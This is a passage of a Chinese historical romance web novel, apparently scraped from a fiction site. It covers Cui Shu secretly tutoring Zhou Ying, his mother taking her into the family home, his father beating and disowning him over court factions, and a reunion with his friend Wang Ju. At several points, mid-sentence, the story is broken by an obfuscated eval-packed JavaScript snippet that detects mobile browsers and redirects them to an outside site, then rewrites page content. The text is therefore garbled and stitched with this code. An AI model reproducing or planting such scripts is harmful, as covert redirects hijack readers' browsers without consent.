“今年不在家中，又兼要隐瞒行踪，不好叫人日日送冰，委屈郎君了。”奉和跟出来说。 “无碍，一切从简即可。” 奉和又说：“郎君打算何时出手？朝中官员独郑副使与您最为熟悉，等料理了他，想必再难有人发现您在暗处，应当可以松懈片刻，届时我再安排人送冰过来。” “暂且不急，眼下汛期，防汛赈灾之事更为紧要。” “便宜那狗东西了，郎君拿他当挚友，他倒好，使阴招不说，还派道全那等小人去刺杀您，若非周姑娘阴差阳错相助，叫他早几日找到郎君，我和束关未必赶得上。” 奉和忿忿不平，崔述却不以为意，视线随着厨房窗棂边灵活的身影左右移动，提步从廊下走过去，停在菱花窗下。 屋中人并无察觉，躬身将竹篓里的细土洒在灶后青砖上，铺出一块尺余见方的土层，又继续往上撒土，一层又一层地覆盖，直至厚约半寸，才歪着头看了一阵，擦了擦额角的汗，拾起一旁的树枝在其上写字。 周缨蹲在那里，口中喃喃记诵着各字形义，字迹虽仍还歪歪斜斜不得章法，但与第一日相比，结构笔画还算粗略看得过眼了。 待写满整块土层，她起身看了眼蒸笼里的糕点，又回到灶后，调整好火势，用木片将土层推平复原，重新开始写字。 崔述又站了片刻，才悄悄退开，不曾惊扰她。 回到书房，奉和感慨道：“周姑娘这劲头倒有些郎君儿时的样子，废寝忘食，兄弟姊妹叫去玩也不肯，整日只一心扑在书上。” 崔述负手站在窗前，眉间微锁，似在回忆他所说，好一阵后，才吩咐道：“等夜里凉快些，你去替她买些笔墨纸砚回来，挑便宜的买，账单给她。” 奉和微愕，一想方才那一幕，明白过来，只好应下：“周姑娘有些时候还是挺倔的。” “她就这性子，要强得紧，又极怕承旁人的情，要改也非朝夕间的事。”崔述坐回案后，淡说，“你未历其境，自然难知其执。” - 周缨于读书一道上开蒙得晚，又无自小耳濡目染之氛围，进益并不算快，但胜在勤奋，每日起早贪黑，手不释卷，崔述给她定下的规矩，她向来只有翻倍完成而无绝偷工减料的，如此一来，崔述每日晨间检查她前一日所学的效果，基本还算得上满意。 待从溽热难消的三伏转入呵气成冰的三九，周缨已经基本认全了常用字，写字虽仍不算好看，但也勉强可以入眼，若昧良心些，也可称上一句工整，不仅可以将她阿娘留下的书信看懂七七八八，亦能够自行读上一些简单书目。只是再往后，要精读更难些的书目，则需更多指点，崔述不大抽得开身，只能琢磨另寻他法。 这日，北风凛冽，冰雪势大，皇城根下的百姓都蜷缩在屋里不肯出来，街上偶有几个行人，也都缩着脖子，行色匆匆。 崔述乘车回来，捂着手炉走进门内，便瞧见周缨蹲在院中，拿野果给一个小巧精致的雪人做鼻子。 奉和夺过那颗野果，反手将雪人的脑袋一把揉花，取笑道：“这也太丑了。” 周缨气极，和他打闹起来，崔述不由顿足。 就这当口，一团白色扑面而来，崔述侧身一闪避开，那团雪色便炸开在一侧石阶上，碎雪和冰碴子溅了两位无辜的归客一身。 那已无全尸的雪球散落一地，无言地控诉着罪魁祸首。 周缨僵着手站在院中，头顶落满鹅毛大小的雪片，神色赧然，颇有些过意不去。 奉和原本背向大门站着，此刻看她这副模样，情知不妙，转过身来，见是崔述，忙说：“郎君，今日无事，这雪又好……” “既闲来无事，打发时间也好。”崔述轻描淡写揭过，沿着回廊往北屋走。 周缨同奉和呆呆站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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束关一愣，抱剑站在窗前看了一眼，断然抗命：“不去，幼稚。” 崔述失笑。 极轻的一声笑，本应不起眼，奈何周缨恰巧跌倒在阶下，这声落入耳间便格外清晰。 她回头看去，见崔述正立在窗边往这边看，以为他在嘲笑自个儿，气得七窍生烟，反手便挖了一团雪往这头砸来。 崔述侧身一躲，那雪团便砸在窗棂上，四下溅开，似下了一场纷纷扬扬的室内雪。 大仇得报的周缨此时才得了闲，慢慢挣扎着起身，孰料试了几次也未能成功，只好以手撑着石阶，试图借力起身。 察觉出她的异样，崔述快步出门，到阶前询问她情况：“摔到骨头了？” “没有，估计是崴了下。” 崔述心下微松，向她递出一只手。 周缨迟疑片刻，将左手搭在其上，却依旧没能借力站起身来。 崔述只得走下台阶，屈身扶她。 一团冰凉的雪适时从脖颈处灌入，浸人的寒意从后背传来，令崔述不禁战栗了下。 罪魁祸首收回右手，歪着头看他，颊边露出一个浅浅的梨涡，得意地取笑他：“你早间教我的，兵不厌诈。”说罢撑着石阶轻松站起身来，同奉和打过招呼，一瘸一拐地笑着往西厢走去。 后背冰消雪融，湿漉漉的，凉得浸人。 束关递过来一方帕子，崔述未接。 奉和隔着两尺的距离，瞧瞧周缨踉跄中带着雀跃的身影，又看看崔述意味难辩的眼神，悄悄撤离。 行将避开的时刻，听到崔述轻呵了一声：“半日功夫，竟已学得炉火纯青了。” 25. 簪缨一梦（一） 冬雪连绵，周缨支颐坐在案前，心绪不宁地温着书。 竹笤帚刮在青石板上的声响令她偶尔分神，然而她没有起身出去帮忙扫雪，仍将目光收回到面前的这一小摞书上。 崔述今日走得急，天不亮就有人来接他，走前给她布置下温书的任务，说回来要抽查。 于读书做学问这一道上，她无可与崔述讨价还价的余地，自然不敢怠慢，然而今日却总是有些沉不下心来。 正自埋首书间时，院门猝然被叩响。 在院中扫雪的奉和同束关两人同时停下笤帚，暗生警惕。 既不是与崔述约定好的叩门方式，那便是生人，两人对视一眼，屏息凝神地听着门外的动静。 叩门声短暂地停了一息，不多时，又急切地响了起来。 一张名帖从大门底下递了进来，奉和蹑手蹑脚走至门口，弯腰拾至手中，未及翻开细看，只觑着角落里金线勾边的祥云纹，脑中便嗡地一声响。 他迟疑片刻，正欲伸手召束关过去商议，沉稳庄严的妇人之声已隔着门扇传进来：“谁在里头？既有人在，便将门打开。” 已无再看名帖的必要，奉和反身抽下门闩，将门打开半扇。 衣着华贵的妇人提步迈进庭院，见着尚未扫净的中庭，不悦地轻蹙了下眉。 奉和束关垂手立在两侧，将头埋至齐肩位置，缄口不言。 两名身材魁梧的马夫将黑漆大门阖上，院中瞬间落针可闻。 妇人环视周遭，语声温和，不怒自威：“三郎呢？” 束关一声不吭，奉和抬眼觑觑主母这来者不善的阵势，闷声道：“天不亮便出去了，小的也不知行踪。” “是么？”韦湘笑着看他。 奉和垂首：“夫人知郎君习性，今日既不带小人出行，小人自无从探知去向。” 韦湘颔首，吩咐随从入廊下暂避风雪：“既如此，不难为你们，我在此处等他回来。” 奉和在前引路：“夫人到厅中坐坐。” “我也算客？”韦湘施然迈进明间，逡巡一圈，又退出来，欲进书房。 奉和这回不肯开门，拦在跟前：“夫人别为难小的，郎君的书房惯来不许擅入，从前在府中也是如此。” “好。”韦湘转身走向客厅，余光不经意间落在门上的锁环上。 未曾上锁，北风凛冽，门扇却纹丝未动，显然从里面闩住了。 韦湘转头看向奉和，面露探询之色：“他当真不在？” “禀夫人，郎君真出去了，按往日习惯，当要入夜才会回来。” “哦？”韦湘笑笑，“那里头是谁？” 奉和不答。 “开门。” 奉和依旧沉默以对。 僵持片刻，门从里面打开了。 周缨站在门口，双手不安地交握在身前。 韦湘不动声色地打量着眼前的少女，着一件靛青色的半旧夹袄，是市井间最寻常朴素的款式，却浆洗得干净，散着隐隐的清香，脸蛋上则透着一丝微红，一双水灵灵的眼不安地转了两转。 室内燃着炭火，暖意扑面而来，烘得韦湘心中莫名涌起一丝不豫。 周缨侧身让开道，她抬脚走进书房内，环视一眼这过于简陋的书房，走至书案前，目光扫过其上摆放着的四五本开蒙书册与宣纸，心中已明白了几分。 韦湘先一步走出书房，吩咐奉和跟上。 奉和递给周缨一个少安毋躁的眼神，也顾不得她能否心领神会，便跟了上去。 进得客厅，韦湘于主座落座，盘问道：“你们何日回的京？” “五月上旬，已有半年了。” 韦湘苦笑了下，转而问：“方才那姑娘是何来历？” 奉和恐她误会，生出事端伤及周缨脸面，将来龙去脉解释得极为详细。 韦湘听完，思虑了盏茶功夫，做下决断：“既是我崔家的恩人，没有这样慢待的道理。她一个孤女，跟着你们三个大男人住在一块终究于礼不合，我将她接回府里，好生善待。” “不可。”奉和脱口而出。 “为何不可？”韦湘疑惑地看向他，“我崔家家训，‘滴水之泽，永矢弗谖，九死以报’，出去一趟便已忘得一干二净了？” “你们主仆三人不肯回家，窝在这市井穷巷中过苦日子我管不着。但这周姑娘，既然身世如此悲苦，又救过三郎一命，任哪个当娘的也看不得她再吃苦头。”韦湘站起身来，淡道，“人我带走，待三郎回来，你如实相告就是。” “夫人，”奉和唤住她，“就算您是一番好心，也当问过周姑娘才是。” “自然。” 书房此时已然门窗大敞，周缨将桌案上的书册与纸笺收拾妥帖放至书架上，听闻响动，转身看过来，眼神里闪过一丝怯意，旋即又恢复如常。 韦湘一见，忙上前两步，将她双手握在掌心轻轻拍了拍，温和唤道：“周姑娘。” 周缨状若镇定地应道：“夫人。” 韦湘拉着她的手在窗缘下的几案两侧坐下，笑容和善：“周姑娘，我是崔述母亲，名唤韦湘。” 周缨点头：“方才见奉和如此敬重您，猜到了。” “是个聪慧的孩子。”韦湘笑着接道，“三郎也是受你之恩，方能平安返京。” “韦夫人言重，当时不过是巧合。”周缨推辞，“何况后来，崔三郎亦帮我许多，早胜我当日所为。” 听她谈吐倒不像粗鄙农女，韦湘心生讶异，目光扫过书架上那一排书籍，暗暗赞许，又说：“话不能这么说，善因结善果，若非当日周姑娘甘担风险相助，也无日后因缘。” 周缨不好接话，只得听她继续往下说：“本欠着姑娘天大的恩情，不敢再劳动姑娘。只是我家三郎出京前已在议亲，如今虽是秘密返京，但与姑娘长住一处，若传出去，实伤女方脸面，于姑娘名声也无益。 “做儿子的处境困顿，顾不得寻常礼数，但我这做娘的无法不为他考虑。京中高门最重礼义，若此事为人知晓，恐他就算有所筹谋，能安然度过眼下这关，日后也依然难在泰山跟前立足，还望姑娘能够谅解。” 小半年专心致志地读书，虽未触及学问之说十之一二，人情世故却明白不少。周缨听懂她的话，赶紧解释道：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韦湘执帕拭掉眼角的泪，征求她的意见：“既如此，周姑娘不若去收拾收拾行李，与我一道回府？虽于礼不合，但为掩人耳目，我也不好常来此地，今日也是找了由头，东拐西绕了许久才敢过来。” “请您稍坐，我速去收拾。” 周缨东西并不多，来时身侧空空，后来换季时也不过托奉和替她买些便宜的布料回来，亲自动手给自个儿裁上几身衣裳，如今整理起来倒也快。 束关抱臂靠着廊柱，右手玩弄着一枝枯枝，漫不经心地将其折断。 奉和在厢房门口往里探头探脑，看着周缨忙活：“姑娘若不愿意去就直说，大不了违抗主母之令，今日来的人不是我和束关的对手。” 周缨将包袱收拾妥帖，抬头冲他一笑：“没事，我去暂住些时日也好，本也不好一直住在这里。” 奉和缩缩脖子：“回去规矩可就多了，不如这里畅快，姑娘再考虑考虑。” 周缨垂下眼帘，心道她早该走了，只是在权势和绝对武力下，她无力隐藏自己的行迹，怕拖累崔述，才不得不一拖再拖。既然韦湘给她透了底，过不了多久就有定论，区区几月，她倒还受得，走这一趟也没什么。何况他先前既在议亲，自己住在这里确实格外欠妥。 “无妨。”周缨将包袱挎在肩上，将窗户关紧，迈步走出厢房，“请你们郎君放心，等他的事情了了，我会当面向他辞行，不会不辞而别，眼下不必顾虑我。” 她既如此说，奉和没有再拦的道理，只得注视着她施施然穿过中庭，上了马车，沿着巷道悄无声息地走远。 26. 簪缨一梦（二） 马车东拐西绕，走了许久也不见停。 周缨将蓝布包袱放在膝上，双手搭在上面，目光虚虚落在微微长长的指甲上，心想这两日又忙得忘记了修剪。 韦湘怕她不自在，笑着同她话家常：“周姑娘从南边过来，在这边吃住可还习惯？” “还好，我向来不挑剔。”周缨想想又说，“初来时有些不习惯，如今大都惯了。” 二人东拉西扯闲聊了几句，周缨虽不大自在，但也还算落落大方有问必答，韦湘不免对她又多了几分怜爱。 正说话间，马车停下，侍从打起帘幄，周缨随韦湘下车，换乘轿撵穿过长长的游廊进入二门。 待得落轿，韦湘吩咐迎上来的两名婢女：“这位是周姑娘，往后你二人好生照顾起居，不得怠慢。” 周缨欲要推辞，转眼见这府中雕梁画栋，檐上瓦兽栩栩如生，自带威严气象，只得住了声，向二人颔首致意。 韦湘带她穿过月洞门，向西稍行片刻，进入一方小院，指派侍女速去差人来收拾，又同周缨说：“一来，这院子前几日恰巧有客住过，正巧收拾得干净，待会儿稍作洒扫便可入住，不致太仓促委屈了你。二来，这院子离三郎的住处不算太远，府中藏书倒有大半数在他院中，你若缺什么书，派人去他院中取来即可。” 见周缨略显局促的模样，又补道：“这事上你也不必避嫌，左右他不在府中，那些书放着也是浪费。你有这份心，三郎自然也不会在意。” 周缨只好应下：“劳韦夫人挂心。” 韦湘嘱她好生休息，自己先回正院更衣，晚些用膳时再向她介绍家中其他人。 韦湘去后不久，唤作松心的婢女忙前忙后地指挥仆役再次洒扫，另一名唤作竹影的婢子则带了绣娘过来替周缨量身，说天寒地冻的，这几日府上正在替主子们裁衣裳，周缨来得赶巧，正好一并裁制。 周缨领受了这份有意为之的善意。 竹影打来温水要替她净面，她这回则果断拒绝：“姐姐奉命来照顾我，我本不该辞，但实在是未曾被人伺候过起居，还是自个儿动手来得自在，劳姐姐见谅。” 竹影闻言，将拧好的巾帕递给她，向她露出和善的一笑：“也好。” 周缨心下感激，收拾妥帖后，坐在炕沿看着一屋子人忙里忙外，俨然拿她当贵客相待，至此才有些坐不住。 相识将近一载，她无数次揣测过崔述的来历，从他行事做派猜出他必然出身优越，但等真正跨进这座门庭，见着崔家人的做派，才知以她的眼界来看，恐非这二字可以概括。 周缨单手搭在身侧的紫檀木小几上，食指无意识地叩着案沿，忽然眷恋起先前栖身的那方小院。 - 冬日昼短，晚膳偏早，但今日早过了上菜的时辰，厨娘仍未得传话。 饭厅中只有两个孙辈在吵嚷着饿，二少夫人蒋萱在一旁温声哄着，另角落里坐着寡言的姨娘兰序，其余主子皆不见踪影。 祠堂中则灯火通明，百盏灯烛齐燃，煌煌如昼。 家主崔允望立于香案之前，凝神细阅每一座祖宗排位，韦湘站在他左侧，神色肃穆，眼圈却泛着红。 下首站着二郎崔则和二姑娘崔蕴真，兄妹二人仓促被叫至此地，崔则面上不显，崔蕴真则不明所以，满心疑惑，却不敢出声询问。 直至风扬朔雪，门板被风轻拍得嘎吱作响，崔蕴真循声往门口看去，才见着了面容被笠帽遮得严严实实的的归客。 蕴真先是没认出来，足有一弹指功夫，才惊喜道：“三哥。” 崔述没有应声，她心下着急，雀跃着往外小跑而去，险些被门槛绊得跌了一跤，只作没事似的，径直扑向崔述，又唤了一声：“三哥。” 崔述温和唤道：“善善。” 崔蕴真踮脚将他的笠帽揭下，喜极而泣：“我就知道你肯定不可能出事，我三哥那么厉害，怎么可能这么莫名其妙就丢了命？” 妆容被哭花，崔蕴真也顾不得其他，拿着笠帽便扑入他怀中，啜泣道：“阿兄。” 宽大的手掌在她背上落下安慰性的一拍，崔述轻声劝道：“别哭了，三哥回来了。” 崔蕴真在脸上胡乱一抹，拉着他往里走，抱怨道：“三哥不知，消息传回来，阿娘哭得晕厥了好几次——” “蕴真。”话被打断，崔蕴真从巨大的惊喜中回过神来，看向威严的父亲，登时不敢再言，不安地看向崔述。 崔述用食指轻轻在她手背上叩了三响，这是幼年时兄妹二人间独有的暗号，蕴真会意，松开方才情急之下拉住他的手。 崔述取下蓑衣，蕴真接过，与笠帽一并放至一侧，重新站回崔则下首。 崔述与父亲对视一眼，温声问候两位高堂，又转向崔则，行礼问好：“二哥。” “三弟。”崔则与他对向而拜。 “蕴真，把门关上。”崔允望道。 隐隐感受到家人间气氛的不同寻常，并非她所想的那般久别重逢喜不自胜，崔蕴真心下不安，缓步挪至门前，用尽全力方阖上那扇乌漆大门。 “蕴真，今日之事，你母亲本不欲叫你知晓。但你是崔氏女，崔家之事，你亦不当避，故我做主将你一并叫来。”崔允望的灼灼目光落在蕴真脸上，令她莫名有些不安。 这目光又缓缓移至归人身上，崔允望沉声道：“擎香，敬告列祖列宗，不肖子孙崔述尚存世间，望祖宗庇佑，往后无灾无疾。” 崔则取香并柱，递给崔述。 崔述从兄长手中接过，于香烛上点燃，轻扬两下，抖灭火焰。青烟徐徐上升，崔述叩首敬过，将香插|入香炉。 “跪下。” 崔述掀袍跪于冰冷的青砖之上，韦湘默不作声地移开眼。 “五月初归玉京，迄今半年有余，就住在净波门外，相隔不过十余里，怕是数过家门而不入，谁教得你这样的孝道？” 一声闷响凭空而起，厚重的黄花梨木手杖重重击在崔述脊背上。 “三哥。”崔蕴真惊呼出声，欲要上前，被崔则伸手拦下。 身子不受控制地往前倾倒，崔述单手撑地，方不致被击倒于地。他长吸一口气，忍下痛楚，缓缓跪直身子。 “不吭声是么？”崔允望再落一杖，“你母亲为你，哭得眼睛都翳了好几月，去寻你的仆从派了一批又一批，分毫无获，只当你已死了个干净，那俩小子也因畏惧不敢回来复命逃了，可你既平安无事，却连个口信儿也不知往回捎，为人子者，不孝首罪。” 崔述依旧一言不发。 “这半年里，大皇子所出的赈灾防汛之策是你执笔的吧？”崔允望冷嗤一声，“我先前就起疑，大皇子大殿对策时所提的‘敛赋于民，廪食相哺，以赈饥馑’，实在很像你的手笔。但我总想着，你若回来了，就算不来见我，也该设法私下里看看你母亲。” 韦湘悄悄抬手拭泪。 蕴真焦急地左看右看，试图窥探崔述的状况。 手杖再次落下，激起一声重重闷响，力道显比先前更厉上几分。 “若非昨日郑守谦受庭杖被逐出京，我还仍不敢信是你，这才多番查证，寻到你的住处。”崔允望痛心疾首，“士不可辱，守谦与你自幼为友，为拔除太子羽翼，你竟丧心病狂至此，将他设计到如此地步。” “父亲，这里边定有缘故，我虽不知具体发生何事，但我知道若非郑副使故意陷害，三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531717|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥亦不会被判流刑。”崔蕴真急得落泪，跪在崔述身后，解释道，“三哥出京前，我曾去探过监，恰好听过他二人的谈话，是郑副使故意驱三哥离京。” “你让开。”崔允望拄着手杖借力，喘着粗气。 崔蕴真不肯，崔述终于开口：“善善，让开。父训子，当受之。” 蕴真转头看向韦湘，韦湘避开她求助的眼神，转向阴影处暗自垂泪。 崔蕴真迟疑着起身，慢慢退至崔则下首。 “你还知我是你父亲。若非你母亲见机行事，将那周姓姑娘带回家来，你今日可会踏进家门？” “不会。”崔述老实应道。 一口浊气哽在喉间，崔允望怒不可遏，再击一杖。 喉间腥甜，崔述几要将牙都咬碎，方强撑着将脊背慢慢挺直，抬首平静地直视父亲：“当日致仁陷害于我，令我负罪离京，今我既平安回来，自不会坐以待毙，否则待他查实我的行踪，单凭脱逃一罪便可多加编排取我性命。他急于替太子夺赈灾之功，反出纰漏，我不过令人据实以报，并无半分构陷之举，如何不可?” “你怎么就这么执拗？崔家举全族之力为你铺路，一路将你捧上三品大员的位置，为此连你二哥都没能顾得上，连累你二哥至今只混得一个六品官，你却非要同全家作对。太子宝座一平二稳，你哪怕不沾党争，也比非要押宝在大皇子身上，推着崔家往火坑里跳来得好啊。”崔允望抬手指着他，半晌又无力垂下，叹道，“你可知，若东宫得知你早暗地投了大皇子，崔家将会跌入怎样的深渊？” 崔允望身子颤得厉害，手杖在青砖上磕出断续声响，崔则上前一步将他扶住。 “你是当真不打算解释半句了？”崔允望长叹一声，“大皇子的妻族刚被圣上连根拔起，自个儿又是个不折不扣的病秧子，日后如何尚难定论。别的不说，想坐上那个位置的，身子不好子嗣稀薄就是最大的忌讳，势必引起更大动荡和更多纷争。我就不明白，你看上谁不好，怎么就偏偏看上了这么个人？” “路已择定，还请父亲恕儿子不孝。”崔述叩首不起。 “齐应到底给你灌了什么迷魂汤？让你甘心隐为人后，做了他手中刀?”崔允望身子颤个不停，崔则怕出好歹，连忙扶他在太师椅上落座。 握着手杖的手合拢又松开，复又握紧，崔允望声线愈显苍凉：“既如此，也好。” “济川。” 崔则听闻父亲正色唤他，垂首站至崔述身侧。 “述安，你当真主意已定？”崔允望再问崔述。 “是。” “既如此，自今日起，我只当没有过你这个儿子。”崔允望仰头看向脖颈高昂的铜鹤嘴间所衔的烛台，眼神发虚得厉害，“你既择定大皇子，势必会给崔家带来祸患。你若日后还是暗中助齐应行事，只望你万般小心，万勿暴露身份，否则崔家必定会付出比你当日获罪时还要惨痛的代价。” “是。” “济川，”崔允望胸中哀恸，话说得极慢，“当初择定三郎而非你，是我一人做下的决定。今日在此将话说开，你心中若有怨怼，为父一力承担，日后也定当全力弥补。但既结兄弟，休戚同之，切记不可因此对述安心生不满。” “你们兄弟二人，往后分道扬镳势不可免，但谨记一条，无论局势变迁，抑或是个人际遇相异，都不可将暗箭对准彼此，否则——天必遣之。” “父亲教诲，定不敢忘。”二人齐声应下。 “你二人若还有什么话，便当着祖宗的面都说清了，今日踏出这间屋子，再不必提过往之事。” 二人对视一眼，沉默以对。 “如此，我便下逐客令了。” 27. 簪缨一梦（三） 院中寂寂，只有雪片打在树枝上的沙沙声响。 一家之主先行离去，崔则犹疑片刻，紧随其后离开。 崔述扶住香桌桌脚借力起身，脊骨上的巨痛令他踉跄了下，险些跌倒，崔蕴真快步上前将他扶住，关切道：“三哥，你没事吧？” 崔述摇头：“无事。” “父亲下手未免太狠。” “善善，你今夜失态了。”崔述闭眼忍下一阵急痛，方说，“子不言父过，往后不可再提此话了。” 蕴真猝然惊醒，方才那副仓惶模样瞬间敛去，不过片刻，复又哭丧着脸，耷拉着嘴角委屈道：“可你是我阿兄，换作旁人，我才不会如此。” “我没事。”崔述抬手，取锦帕替她将眼角的泪擦干，“莫哭了。” 蕴真乖乖点头。 韦湘仍旧站在暗影里，铜鹤灯盏的光照过来，映得她身子一半在明一半在暗，崔述上前相拜：“儿子不孝，连累母亲忧心数月。” “你没事便好。”韦湘避过他的目光，抬脚往外走。 “母亲。”崔述唤住她，待她停住脚步，才说，“母亲今日行事，过分了。” 韦湘转头看向他，一脸不可置信：“我没有强逼她，你当知道，若是你父亲前去，定是一言不合就要将她和你那两个小厮绑回来，以要挟你现身的。” “我不知母亲同她说了什么，让她心甘情愿同您走，但您应当先问过我。” “你在怪我。”韦湘转头看他，眼角的微红暴露在灯下，“回京数月不肯露面，今日竟因怕我苛待一个孤女匆匆赶回，我这做母亲的，在你心里竟是这般。” “不敢。不过她总归是随我安置的，您要安排她的事宜，还是当先同我提过，只望母亲以后不要如此行事了。” 崔述移开眼，又说：“致仁之事已了，她如今出去虽不会再有大碍，可到底孤身一人，叫人放心不下。我亦多有不便，难免照拂不周。不知母亲带她回来是作何打算，但为今之计，还是让她先在家中暂住一段时日，待我将手头之事了结，再从长计议。” 韦湘默然半晌，方说：“我本也如此计划。你放心，你父亲那头我去说，他脾气虽犟，但再生你的气，也不至于为难一个小姑娘。” 崔述道过谢，目送韦湘穿过月洞门离开此地，才从崔蕴真手中接过蓑衣披上。 毕竟上了年纪，纵崔允望在气头上使了全力，冬日厚衣仍分担走了大半力道，不至重伤，但伤患处的肌肤却免不了与衣物粘连，行动间牵扯生痛，令崔述倒吸了口凉气。 “三哥当真是为着住在怡园的那个姐姐回来的？”崔蕴真边扶他往外走边问。 闻崔述“嗯”了一声，她又说：“父亲在气头上，今日我也不留你了，但你往后得空记得多回来看看，再不济派束关给我递个信，我偷溜出去见你。” “好。”崔述将笠帽戴上，同她别过，强撑着往外走去，东拐西绕地行至怡园，藏身在偏厅。 周缨用过晚饭，被韦湘的侍女亲自送回，竹影松心井井有条地安排着一应就寝前的事宜，留她一人伏在明间几案上思忖席间众人的反应。 她能敏锐地察觉出席间略微诡异的气氛，却不能确定是否是自己这个外人的突然介入所招致，倒是韦湘和崔蕴真对她表露的善意，令她在席间不至于太过困窘。 窗沿忽然被轻叩了下，周缨站起身来，走近两步，听得窗棂缝隙中传出崔述的声音：“是我。” 她急忙走至窗前，推开支摘窗，瞥见崔述几近煞白的脸色，脑中空白了须臾，才说：“你怎么了？既是回家，怎么不进来？” “我的事，你也知道。”崔述强忍着痛，解释道，“家里人多眼杂，也怕走漏风声，下人一概都瞒着，你也不要同人提起。旁人若问，你只需按我母亲交代的说辞答话即可。” “韦夫人称我是她远亲，父母俱去，故接来代为照料一段时日。”周缨点头。 “家里人虽不少，但平日没有开小厨房的习惯，单独开火也怕你觉得生分，母亲大概一时也没想好如何处理。你若不惯，可以主动同母亲说，往后就在你院中用饭，不去和他们同席。” 周缨说好，心中却道总归是客，不好主动提要求，只是看他额边渗出一层细密的汗珠，观他情状，倒令她忆起初见时的那副模样，只好简短应下，不与他辩驳。好半晌，终于还是忍不住又问道：“你受伤了？” “没有。”崔述避开她的目光，递给她一把钥匙，“出月洞门往西行，不远处有一丛竹林，后有小院名可园，其间有藏书楼，这是钥匙，你要的书自己去取即可。” “韦夫人同我提过此事，叫我安排人去取。” “我的书房平素不让人进，故她如此说。今我既同意，你还是亲去为好，二楼的藏书有些批注，你读来或许容易些，但这部分书我院中的人不会外借，我今日也不便再过去打招呼了，你留着便宜行事吧。” “好。” “为我的事，实在拘你太久。”崔述歉然道，“劳你再委屈一段时日。” “没事。”周缨握着那把尚带余温的钥匙，隔窗和他对话，“有这么清净的地方可供读书，又锦衣玉食，谈何委屈。” 窸窣之声传过来，窗沿外的人已快速戴好笠帽，藏进了暗影里。 “那你多保重。”崔述留下此句，侧身一闪，消失在了雪夜里。 周缨将窗支至最高，定睛看去，哪里还有半个人影。 - 崔述沿着墙根从怡园往西北方向穿行，因韦湘一早吩咐，下人避忌，特地为他留出了这一条畅通无阻的路。 穿过一处狭长逼仄的夹道，从角门出来，崔述从望桩上取下坐骑的系绳，翻身上马，绕向通裕门。 天幕已沉，细雪纷飞，街上行人寥寥无几，唯有朔风挟风霜刀剑催逼夜行人尽早归家。 崔述一夹马腹，加快了速度，半途转去夜间亦多繁华的春波坊绕过一圈，再从西坊门出，绕道前往净波门。 行经思梧巷，沿途都是民居，檐下并无商贩设灯盏，光线陡暗。 巷道幽深，行出半里路，空气陡然被撕裂，一支青羽箭破空而来，直直射向崔述胸膛位置。 崔述陡然勒马，将身子伏于马背，堪堪与那箭矢擦身而过。 下一刻，另一支羽箭紧随其后，带着凌厉的力道逼至。 坐骑再次受惊，瞬间蹿出去一箭之远，崔述翻身下马，拽住缰绳借力，脚尖接连点地数次，堪堪止住马势。 箭矢没入青砖缝隙，激起铿然声响，一小块石子弹起，绷向一侧屋脊，射落一帘雪幕。 崔述使了十分力方才勒住昂首长嘶的坐骑，在其脖颈上轻拍了几下以示安抚，坐骑果然安定下来，张嘴喘着粗气。 屋脊上翻身跳下一个着束身劲装的青年，将那两支没入青砖缝隙的青羽箭拔出，反手插进背后的箭筒中，又走过来拍拍马首，熟稔道：“这马比你那匹房星还是差了些。” 崔述打量他一眼，垂下眼睑，把玩着手中的缰绳，并不接话。 “你小子还真打算就这么神出鬼没一辈子。” 崔述“嗯”了一声，牵马往前走。 王举一急，喝住他：“崔述安，你能不能有点良心，要不是郑守谦那混账东西要被逐出京，我说去送送他，他非一口咬死是你干的，我将信将疑地去趴你家门上守了大半日，又跟着你绕了小半个玉京，还真不敢相信你是真回来了。” 崔述步履不停，他只得跟上，继续聒噪：“我就不明白，你俩为何非得斗得你死我活不可。当日他非要逐你出京，害你被流放至蛮荒之地，如今你回来，还是闹这一出，你俩还真是如出一辙。” “不错。” 打开的话匣子被迫阖上，王举跟在后头，顾左右而言他：“你打算带我继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539769|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕圈子？真不打算带我去你落脚的地方看看？” 崔述不出声。 “述安，”他忽然正色，沉默许久，才接道，“我昨夜一直没睡好，总想起永昌十六年的春日。那时你将出京赴任，为替你饯行，我去猎了只雉鸡，致仁带了两壶自己酿的烧春，我们三人聚于看灯山上，喝了个酩酊大醉。是夜宿于山间，清风入怀，明月照襟，尘嚣尽忘。” 他停顿了半晌，方叹惋了一声：“咱们仨人也是自小的情分，就这么散了，我觉得不值。” 雪片已落满了崔述的笠帽边缘。 “但倘若真要选，”王举低垂着头，将一颗小石子踢至半空，声音也闷闷的，“王家的浑小子，打小就是崔家三郎的跟屁虫。” 崔述缄默了片刻，呼吸在冬夜里带起一阵白雾：“子扬。” “你还肯认我？”王举猛然抬头看他。 崔述牵马慢走，慢说：“他人之错，何故罪你?” 王举疾步上前，接过他手中的缰绳，不由分说地喝他：“上马。” 崔述疑惑转头看他，他反手便给了自己一耳瓜子：“你受伤了，我跟了一路居然一点没看出来，还这般吓唬你。” “没有大碍。”崔述虽如此说，但还是顺从上马。 